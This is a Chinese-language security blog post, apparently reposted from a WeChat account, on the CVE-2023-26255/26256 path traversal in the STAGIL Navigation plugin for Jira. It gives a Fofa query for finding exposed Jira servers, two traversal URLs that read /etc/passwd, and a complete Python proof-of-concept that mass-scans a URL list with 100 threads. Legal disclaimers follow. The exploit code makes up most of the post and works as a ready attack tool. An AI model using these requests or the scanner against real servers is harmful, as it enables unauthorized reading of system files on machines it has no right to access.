漏洞描述
未经身份验证的路径遍历漏洞影响 Jira 2.0.52 之前的“STAGIL Navigation for Jira - 菜单和主题”插件。通过修改 snjFooterNavigationConfig 端点的 fileName 参数,可以遍历并读取文件系统。
Fofa
body="jira.webresources" || header="atlassian.xsrf.token" || body="ams-build-number" || title="System Dashboard - " || (body="JIRA" && header!="boa" && body!="Server: Boa") || banner="atlassian.xsrf.token"
漏洞复现
/plugins/servlet/snjCustomDesignConfig?fileName=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd&fileMime=$textMime
/plugins/servlet/snjFooterNavigationConfig?fileName=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd&fileMime=$textMime
POC/EXP
#-*- coding: utf-8 -*-
import argparse,sys,requests
from multiprocessing.dummy import Pool
requests.packages.urllib3.disable_warnings()
def banner():
test = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗██╔════╝ ╚════██╗██╔════╝██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝███████╗ █████╔╝███████╗███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══██╗██╔═══╝ ╚════██║██╔═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗╚██████╔╝███████╗███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝
tag: CVE-2023-26255 CVE-2023-26256 poc
@version: 1.0.0 @author: luze
"""
print(test)
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
}
def poc(target):
url1 = target+"/plugins/servlet/snjFooterNavigationConfig?fileName=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd&fileMime=$textMime"
url2 = target+"/plugins/servlet/snjCustomDesignConfig?fileName=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd&fileMime=$textMime"
try:
res1 = requests.get(url1,headers=headers,verify=False,timeout=5).text
res2 = requests.get(url2, headers=headers, verify=False, timeout=5).text
if "root" in res1 or "root" in res2:
print(f"[+] {target} is vulnable!")
else:
print(f"[+] {target} is not vulnable!")
except:
pass
def main():
parser = argparse.ArgumentParser(description='STAGIL Navigation for Jira - Menu & Themes plugin unauthenticated download')
parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.example.com")
parser.add_argument("-f", "--file", dest="file", type=str, help=" urls.txt")
args = parser.parse_args()
if args.url and not args.file:
poc(args.url)
elif not args.url and args.file:
url_list=[]
with open(args.file,"r",encoding="utf-8") as f:
for url in f.readlines():
url_list.append(url.strip().replace("n",""))
mp = Pool(100)
mp.map(poc, url_list)
mp.close()
mp.join()
else:
print(f"Usag:nt python3 {sys.argv[0]} -h")
if __name__ == '__main__':
main()
参考链接
https://stack.chaitin.com/poc/detail/2329
https://github.com/aodsec/CVE-2023-26256
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):CVE-2023-26256路径遍历漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论